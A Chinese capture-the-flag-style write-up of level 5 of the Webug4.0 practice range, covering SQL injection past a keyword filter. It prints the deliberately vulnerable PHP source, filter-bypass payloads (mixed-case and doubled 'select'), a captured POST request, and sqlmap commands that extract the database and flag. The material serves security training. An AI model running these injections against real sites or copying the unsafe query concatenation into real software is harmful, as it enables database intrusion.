当前位置: 首页 > article >正文

Webug4.0靶场通关笔记05- 第5关SQL注入之过滤关键字

目录

一、代码审计

1、源码分析

2、SQL注入分析

(1)大小写绕过

(2)双写绕过 

二、第05关 过滤型注入

1、进入靶场

2、sqlmap渗透

(1)bp抓包保存报文

(2)sqlmap渗透

(3)获取flag


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第5关过滤注入的渗透实战。

一、代码审计

1、源码分析

分析靶场源码,本关卡实现了一个带会话验证的 SQL 查询页面,经过详细注释后的代码如下所示。

<?php// 引入公共配置文件,包含数据库连接等基础功能
require_once "../../common/common.php";// 会话验证:检查用户是否已登录,未登录则重定向到登录页面
if (!isset($_SESSION['user'])) {header("Location:../login.php");
}/*** 示例SQL注入Payload:* '1' or if(1=1, sleep(3),1); --+* 此Payload利用条件判断执行延时,检测数据库响应*/
// 简单的黑名单过滤,尝试阻止包含"select"的恶意输入
$filter = array('select', 'SELECT');// 处理搜索表单提交
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {// 黑名单过滤逻辑:检测到敏感词时弹出警告if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";} else{// 存在SQL注入风险的查询:直接将用户输入拼接到SQL语句中$sql = "SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'";// 执行查询并处理错误,但错误信息泄露了SQL结构$res = $dbConnect->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);}}
}// 引入HTML模板文件,显示查询结果
require_once TPMELATE."/post-injection.html";

 webug4靶场的第5关卡实现了如下功能。

  • 首先验证用户会话,确保只有登录用户才能访问。
  • 定义了一个简单的黑名单,尝试阻止包含 "select" 的恶意输入。
  • 接收用户通过表单提交的搜索关键词。
  • 将用户输入直接拼接到 SQL 查询语句中执行。
  • 查询成功执行结果为res,失败则输出包含 SQL 的错误信息。
  • 最终通过模板文件呈现搜索结果页面。 

2、SQL注入分析

相对于第01关、第02关、第03关均为字符型注入,闭合方式为单引号, 只是http的方式有点变换,由GET方法变为了POST方法。下面是SQL相关调用的关键方法,如下所示:

SELECT * FROM sqlinjection WHERE content = '{$_POST["keyWordName"]}'

再看一下输出显示,根据源码可知与第01关相同,当SQL执行错误时会调用mysqli_stmt_error()函数,其余则是正常显示。另外,关于代码的过滤,通过源码可知源码中涉及到过滤SQL的关键字,共有两个,分别是select和SELECT两个关键字的过滤

$filter = array('select', 'SELECT');
if (isset($_POST["keyWordName"])) {if (!empty($_POST["keyWordName"])) {if (in_array($_POST['keyWordName'], $filter)) {echo "<script>alert('请不要尝试注入危险函数')</script>";}}
}
  • 第一层判断isset($_POST["keyWordName"])
    确保参数 keyWordName 存在,避免 $_POST 数组下标越界。
  • 第二层判断!empty($_POST["keyWordName"])
    过滤空值,只处理用户实际提交的内容。
  • 第三层判断in_array(...)
    使用 in_array 函数检测用户输入是否严格等于 $filter 中的某个元素(区分大小写)

不过这个in_array函数写的有问题,因in_array()函数是完全匹配,也就是说只有输入参数完全是select或者SELECT才可以弹框,其他情况不可以弹框。

in_array() 函数搜索数组中是否存在指定的值。
语法in_array(search,array,type)
参数:search 必需。规定要在数组搜索的值。
array 必需。规定要搜索的数组。

因为注入的时候,不可能参数只是select或者SELECT,所以这个过滤函数没有任何用,换言之这个写靶场的开发者对SQL注入部分的限制还是有点问题的。当然,对于真实过滤的关键字的场景,我们可以使用大小写或者双写绕过,实现对第5关卡的注入。

(1)大小写绕过

SeLeCt 1 FROM users --

(2)双写绕过 

sselectelect 1 from users

二、第05关 过滤型注入

1、进入靶场

开启bp抓包,打开靶场并在搜索框内填入1然后点击搜索,如下所示。

http://192.168.71.1/webug4/control/sqlinject/filter_injection.php

2、sqlmap渗透

(1)bp抓包保存报文

将报文保存为webug05.txt文件,如下所示。

其中webug05.txt内容如下所示。

POST /webug4/control/sqlinject/filter_injection.php?id=1 HTTP/1.1
Host: 192.168.59.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.59.1/webug4/control/sqlinject/filter_injection.php?id=1
Cookie: PHPSESSID=m0giifsk3g3t8p9p7j9g0klb42
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40keyWordName=1

(2)sqlmap渗透

按照开发者的目的,猜测原本是希望使用sqlmap的绕waf脚本 randomcase.py,将随机大小写来绕过源码对select关键字的过滤

sqlmap -r webug05.txt --current-db --dump --batch --tamper randomcase.py

如下所示渗透成功,发现时间盲注点。

实际上本来不使用脚本也可注入成功,因为sqlmap会自动尝试编码绕过方法以渗透成功。更别提本关卡的过滤限制只是一个摆设而已,完全没有任何作用,故而渗透方法如下即可

sqlmap -r webug05.txt --current-db --dump --batch

(3)获取flag

根据如下可知,本关卡的flag为safsafasdfasdf。

http://www.lryc.cn/news/2397500.html

相关文章:

  • ONLYOFFICE文档API:更强的安全功能
  • 深入浅出MQTT协议:从物联网基础到实战应用全解析
  • 解析楼宇自控系统:分布式结构的核心特点与优势展现
  • C#数字图像处理(三)
  • STM32 智能小车项目 L298N 电机驱动模块
  • SQL Transactions(事务)、隔离机制
  • 【动画】unity中实现骨骼蒙皮动画
  • VSCODE的终端无法执行npm命令
  • Langchian - 自定义提示词模板 提取结构化的数据
  • 【机器学习基础】机器学习入门核心:Jaccard相似度 (Jaccard Index) 和 Pearson相似度 (Pearson Correlation)
  • QT之头像剪裁效果实现
  • apptrace 视角下移动端深度链接技术与优势​
  • 微前端之micro-app数据通信
  • 【GPT入门】第40课 vllm与ollama特性对比,与模型部署
  • unity开发棋牌游戏
  • Nat Commun项目文章 ▏小麦CUTTag助力解析转录因子TaTCP6调控小麦氮磷高效利用机制
  • Qt OpenGL 相机实现
  • 云原生时代 Kafka 深度实践:03进阶特性与最佳实践
  • 基于关联表字段映射的批量数据更新 SQL 实现方案(AIGC)
  • Hadoop复习(二)
  • C 语言开发中常见的开发环境
  • vscode命令行debug
  • Matlab作图之 subplot
  • Springboot 项目一启动就获取HttpSession
  • PostgreSQL的扩展 insert_username
  • 【机器学习基础】机器学习入门核心算法:层次聚类算法(AGNES算法和 DIANA算法)
  • Google Play的最新安全变更可能会让一些高级用户无法使用App
  • 深度学习篇---人脸识别中的face-recognition库和深度学习
  • (11)java+ selenium->元素定位之By_tag_name
  • React---day5